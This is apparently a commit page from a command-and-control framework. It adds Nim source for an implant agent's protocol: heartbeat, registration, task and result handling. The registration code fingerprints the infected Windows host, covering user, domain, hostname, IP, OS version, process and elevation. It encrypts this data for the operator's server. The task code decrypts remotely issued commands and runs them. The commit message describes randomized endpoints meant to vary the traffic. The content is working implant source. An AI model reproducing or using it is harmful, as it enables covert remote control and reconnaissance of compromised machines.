Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.
This commit is contained in:
43
src/agent/protocol/heartbeat.nim
Normal file
43
src/agent/protocol/heartbeat.nim
Normal file
@@ -0,0 +1,43 @@
|
||||
import times
|
||||
|
||||
import ../../common/[types, serialize, sequence, utils, crypto]
|
||||
|
||||
proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
|
||||
return Heartbeat(
|
||||
header: Header(
|
||||
magic: MAGIC,
|
||||
version: VERSION,
|
||||
packetType: cast[uint8](MSG_HEARTBEAT),
|
||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||
size: 0'u32,
|
||||
agentId: uuidToUint32(ctx.agentId),
|
||||
seqNr: 0'u32,
|
||||
iv: generateIV(),
|
||||
gmac: default(AuthenticationTag)
|
||||
),
|
||||
listenerId: uuidToUint32(ctx.listenerId),
|
||||
timestamp: uint32(now().toTime().toUnix())
|
||||
)
|
||||
|
||||
proc serializeHeartbeat*(ctx: AgentCtx, request: var Heartbeat): seq[byte] =
|
||||
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize check-in / heartbeat request
|
||||
packer
|
||||
.add(request.listenerId)
|
||||
.add(request.timestamp)
|
||||
|
||||
let body = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# Encrypt check-in / heartbeat request body
|
||||
let (encData, gmac) = encrypt(ctx.sessionKey, request.header.iv, body, request.header.seqNr)
|
||||
|
||||
# Set authentication tag (GMAC)
|
||||
request.header.gmac = gmac
|
||||
|
||||
# Serialize header
|
||||
let header = packer.serializeHeader(request.header, uint32(encData.len))
|
||||
|
||||
return header & encData
|
||||
258
src/agent/protocol/registration.nim
Normal file
258
src/agent/protocol/registration.nim
Normal file
@@ -0,0 +1,258 @@
|
||||
import winim, os, net, strformat, strutils, registry, sugar
|
||||
|
||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
|
||||
# Hostname/Computername
|
||||
proc getHostname(): string =
|
||||
var
|
||||
buffer = newWString(CNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
GetComputerNameW(&buffer, &dwSize)
|
||||
return $buffer[0 ..< int(dwSize)]
|
||||
|
||||
# Domain Name
|
||||
proc getDomain(): string =
|
||||
const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
|
||||
var
|
||||
buffer = newWString(UNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
||||
return $buffer[ 0 ..< int(dwSize)]
|
||||
|
||||
# Username
|
||||
proc getUsername(): string =
|
||||
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
|
||||
|
||||
var
|
||||
buffer = newWString(UNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
if getDomain() != "":
|
||||
# If domain-joined, return username in format DOMAIN\USERNAME
|
||||
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
|
||||
else:
|
||||
# If not domain-joined, only return USERNAME
|
||||
discard GetUsernameW(&buffer, &dwSize)
|
||||
|
||||
return $buffer[0 ..< int(dwSize)]
|
||||
|
||||
# Current process name
|
||||
proc getProcessExe(): string =
|
||||
let
|
||||
hProcess: HANDLE = GetCurrentProcess()
|
||||
buffer = newWString(MAX_PATH + 1)
|
||||
|
||||
try:
|
||||
if hProcess != 0:
|
||||
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
|
||||
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
|
||||
# We replace trailing NULL bytes to prevent them from being sent as JSON data
|
||||
return string($buffer).extractFilename().replace("\u0000", "")
|
||||
finally:
|
||||
CloseHandle(hProcess)
|
||||
|
||||
# Current process ID
|
||||
proc getProcessId(): int =
|
||||
return int(GetCurrentProcessId())
|
||||
|
||||
# Current process elevation/integrity level
|
||||
proc isElevated(): bool =
|
||||
# isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
|
||||
return isAdmin()
|
||||
|
||||
# IPv4 Address (Internal)
|
||||
proc getIPv4Address(): string =
|
||||
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
|
||||
return $getPrimaryIpAddr()
|
||||
|
||||
# Windows Version fingerprinting
|
||||
type
|
||||
ProductType = enum
|
||||
UNKNOWN = 0
|
||||
WORKSTATION = 1
|
||||
DC = 2
|
||||
SERVER = 3
|
||||
|
||||
# API Structs
|
||||
type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
|
||||
dwOSVersionInfoSize: ULONG
|
||||
dwMajorVersion: ULONG
|
||||
dwMinorVersion: ULONG
|
||||
dwBuildNumber: ULONG
|
||||
dwPlatformId: ULONG
|
||||
szCSDVersion: array[128, WCHAR]
|
||||
wServicePackMajor: USHORT
|
||||
wServicePackMinor: USHORT
|
||||
wSuiteMask: USHORT
|
||||
wProductType: UCHAR
|
||||
wReserved: UCHAR
|
||||
|
||||
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
|
||||
let
|
||||
major = info.dwMajorVersion
|
||||
minor = info.dwMinorVersion
|
||||
build = info.dwBuildNumber
|
||||
spMajor = info.wServicePackMajor
|
||||
|
||||
if major == 10 and minor == 0:
|
||||
if productType == WORKSTATION:
|
||||
if build >= 22000:
|
||||
return "Windows 11"
|
||||
else:
|
||||
return "Windows 10"
|
||||
|
||||
else:
|
||||
case build:
|
||||
of 20348:
|
||||
return "Windows Server 2022"
|
||||
of 17763:
|
||||
return "Windows Server 2019"
|
||||
of 14393:
|
||||
return "Windows Server 2016"
|
||||
else:
|
||||
return fmt"Windows Server 10.x (Build: {build})"
|
||||
|
||||
elif major == 6:
|
||||
case minor:
|
||||
of 3:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8.1"
|
||||
else:
|
||||
return "Windows Server 2012 R2"
|
||||
of 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8"
|
||||
else:
|
||||
return "Windows Server 2012"
|
||||
of 1:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 7"
|
||||
else:
|
||||
return "Windows Server 2008 R2"
|
||||
of 0:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows Vista"
|
||||
else:
|
||||
return "Windows Server 2008"
|
||||
else:
|
||||
discard
|
||||
|
||||
elif major == 5:
|
||||
if minor == 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows XP x64 Edition"
|
||||
else:
|
||||
return "Windows Server 2003"
|
||||
elif minor == 1:
|
||||
return "Windows XP"
|
||||
else:
|
||||
discard
|
||||
|
||||
return "Unknown Windows Version"
|
||||
|
||||
proc getProductType(): ProductType =
|
||||
# The product key is retrieved from the registry
|
||||
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
|
||||
# ProductType REG_SZ WinNT
|
||||
# Possible values are:
|
||||
# LanmanNT -> Server/Domain Controller
|
||||
# ServerNT -> Server
|
||||
# WinNT -> Workstation
|
||||
|
||||
# Using the 'registry' module, we can get the exact registry value
|
||||
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
|
||||
of "WinNT":
|
||||
return WORKSTATION
|
||||
of "ServerNT":
|
||||
return SERVER
|
||||
of "LanmanNT":
|
||||
return DC
|
||||
|
||||
proc getOSVersion(): string =
|
||||
|
||||
proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
|
||||
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
|
||||
|
||||
when defined(windows):
|
||||
var osInfo: OSVersionInfoExW
|
||||
discard rtlGetVersion(osInfo)
|
||||
# echo $int(osInfo.dwMajorVersion)
|
||||
# echo $int(osInfo.dwMinorVersion)
|
||||
# echo $int(osInfo.dwBuildNumber)
|
||||
|
||||
# RtlGetVersion does not actually set the Product Type, which is required to differentiate
|
||||
# between workstation and server systems. The value is set to 0, which would lead to all systems being "unknown"
|
||||
# Normally, a value of 1 indicates a workstation os, while other values represent servers
|
||||
# echo $int(osInfo.wProductType).toHex
|
||||
|
||||
# We instead retrieve the
|
||||
return getWindowsVersion(osInfo, getProductType())
|
||||
else:
|
||||
return "Unknown"
|
||||
|
||||
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
||||
|
||||
return AgentRegistrationData(
|
||||
header: Header(
|
||||
magic: MAGIC,
|
||||
version: VERSION,
|
||||
packetType: cast[uint8](MSG_REGISTER),
|
||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||
size: 0'u32,
|
||||
agentId: uuidToUint32(ctx.agentId),
|
||||
seqNr: nextSequence(uuidToUint32(ctx.agentId)),
|
||||
iv: generateIV(),
|
||||
gmac: default(AuthenticationTag)
|
||||
),
|
||||
agentPublicKey: ctx.agentPublicKey,
|
||||
metadata: AgentMetadata(
|
||||
listenerId: uuidToUint32(ctx.listenerId),
|
||||
username: string.toBytes(getUsername()),
|
||||
hostname: string.toBytes(getHostname()),
|
||||
domain: string.toBytes(getDomain()),
|
||||
ip: string.toBytes(getIPv4Address()),
|
||||
os: string.toBytes(getOSVersion()),
|
||||
process: string.toBytes(getProcessExe()),
|
||||
pid: cast[uint32](getProcessId()),
|
||||
isElevated: cast[uint8](isElevated()),
|
||||
sleep: cast[uint32](ctx.sleep)
|
||||
)
|
||||
)
|
||||
|
||||
proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): seq[byte] =
|
||||
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize registration data
|
||||
packer
|
||||
.add(data.metadata.listenerId)
|
||||
.addVarLengthMetadata(data.metadata.username)
|
||||
.addVarLengthMetadata(data.metadata.hostname)
|
||||
.addVarLengthMetadata(data.metadata.domain)
|
||||
.addVarLengthMetadata(data.metadata.ip)
|
||||
.addVarLengthMetadata(data.metadata.os)
|
||||
.addVarLengthMetadata(data.metadata.process)
|
||||
.add(data.metadata.pid)
|
||||
.add(data.metadata.isElevated)
|
||||
.add(data.metadata.sleep)
|
||||
|
||||
let metadata = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# Encrypt metadata
|
||||
let (encData, gmac) = encrypt(ctx.sessionKey, data.header.iv, metadata, data.header.seqNr)
|
||||
|
||||
# Set authentication tag (GMAC)
|
||||
data.header.gmac = gmac
|
||||
|
||||
# Serialize header
|
||||
let header = packer.serializeHeader(data.header, uint32(encData.len))
|
||||
packer.reset()
|
||||
|
||||
# Serialize the agent's public key to add it to the header
|
||||
packer.addData(data.agentPublicKey)
|
||||
let publicKey = packer.pack()
|
||||
|
||||
return header & publicKey & encData
|
||||
56
src/agent/protocol/result.nim
Normal file
56
src/agent/protocol/result.nim
Normal file
@@ -0,0 +1,56 @@
|
||||
import times, sugar
|
||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
|
||||
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
|
||||
return TaskResult(
|
||||
header: Header(
|
||||
magic: MAGIC,
|
||||
version: VERSION,
|
||||
packetType: cast[uint8](MSG_RESULT),
|
||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||
size: 0'u32,
|
||||
agentId: task.header.agentId,
|
||||
seqNr: nextSequence(task.header.agentId),
|
||||
iv: generateIV(),
|
||||
gmac: default(array[16, byte])
|
||||
),
|
||||
taskId: task.taskId,
|
||||
listenerId: task.listenerId,
|
||||
timestamp: uint32(now().toTime().toUnix()),
|
||||
command: task.command,
|
||||
status: cast[uint8](status),
|
||||
resultType: cast[uint8](resultType),
|
||||
length: uint32(resultData.len),
|
||||
data: resultData,
|
||||
)
|
||||
|
||||
proc serializeTaskResult*(ctx: AgentCtx, taskResult: var TaskResult): seq[byte] =
|
||||
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize result body
|
||||
packer
|
||||
.add(taskResult.taskId)
|
||||
.add(taskResult.listenerId)
|
||||
.add(taskResult.timestamp)
|
||||
.add(taskResult.command)
|
||||
.add(taskResult.status)
|
||||
.add(taskResult.resultType)
|
||||
.add(taskResult.length)
|
||||
|
||||
if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
|
||||
packer.addData(taskResult.data)
|
||||
|
||||
let body = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# Encrypt result body
|
||||
let (encData, gmac) = encrypt(ctx.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr)
|
||||
|
||||
# Set authentication tag (GMAC)
|
||||
taskResult.header.gmac = gmac
|
||||
|
||||
# Serialize header
|
||||
let header = packer.serializeHeader(taskResult.header, uint32(encData.len))
|
||||
|
||||
return header & encData
|
||||
74
src/agent/protocol/task.nim
Normal file
74
src/agent/protocol/task.nim
Normal file
@@ -0,0 +1,74 @@
|
||||
import strutils, tables, json, strformat, sugar
|
||||
|
||||
import ./result
|
||||
import ../../modules/manager
|
||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
|
||||
proc handleTask*(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
return getCommandByType(cast[CommandType](task.command)).execute(ctx, task)
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
proc deserializeTask*(ctx: AgentCtx, bytes: seq[byte]): Task =
|
||||
|
||||
var unpacker = Unpacker.init(Bytes.toString(bytes))
|
||||
|
||||
let header = unpacker.deserializeHeader()
|
||||
|
||||
# Packet Validation
|
||||
validatePacket(header, cast[uint8](MSG_TASK))
|
||||
|
||||
# Decrypt payload
|
||||
let payload = unpacker.getBytes(int(header.size))
|
||||
let decData= validateDecryption(ctx.sessionKey, header.iv, payload, header.seqNr, header)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
|
||||
let
|
||||
taskId = unpacker.getUint32()
|
||||
listenerId = unpacker.getUint32()
|
||||
timestamp = unpacker.getUint32()
|
||||
command = unpacker.getUint16()
|
||||
|
||||
var argCount = unpacker.getUint8()
|
||||
var args = newSeq[TaskArg]()
|
||||
|
||||
# Parse arguments
|
||||
var i = 0
|
||||
while i < int(argCount):
|
||||
args.add(unpacker.getArgument())
|
||||
inc i
|
||||
|
||||
return Task(
|
||||
header: header,
|
||||
taskId: taskId,
|
||||
listenerId: listenerId,
|
||||
timestamp: timestamp,
|
||||
command: command,
|
||||
argCount: argCount,
|
||||
args: args
|
||||
)
|
||||
|
||||
proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] =
|
||||
|
||||
result = newSeq[Task]()
|
||||
|
||||
var unpacker = Unpacker.init(packet)
|
||||
|
||||
var taskCount = unpacker.getUint8()
|
||||
echo fmt"[*] Response contained {taskCount} tasks."
|
||||
if taskCount <= 0:
|
||||
return @[]
|
||||
|
||||
while taskCount > 0:
|
||||
|
||||
# Read length of each task and store the task object in a seq[byte]
|
||||
let
|
||||
taskLength = unpacker.getUint32()
|
||||
taskBytes = unpacker.getBytes(int(taskLength))
|
||||
|
||||
result.add(ctx.deserializeTask(taskBytes))
|
||||
|
||||
dec taskCount
|
||||
Reference in New Issue
Block a user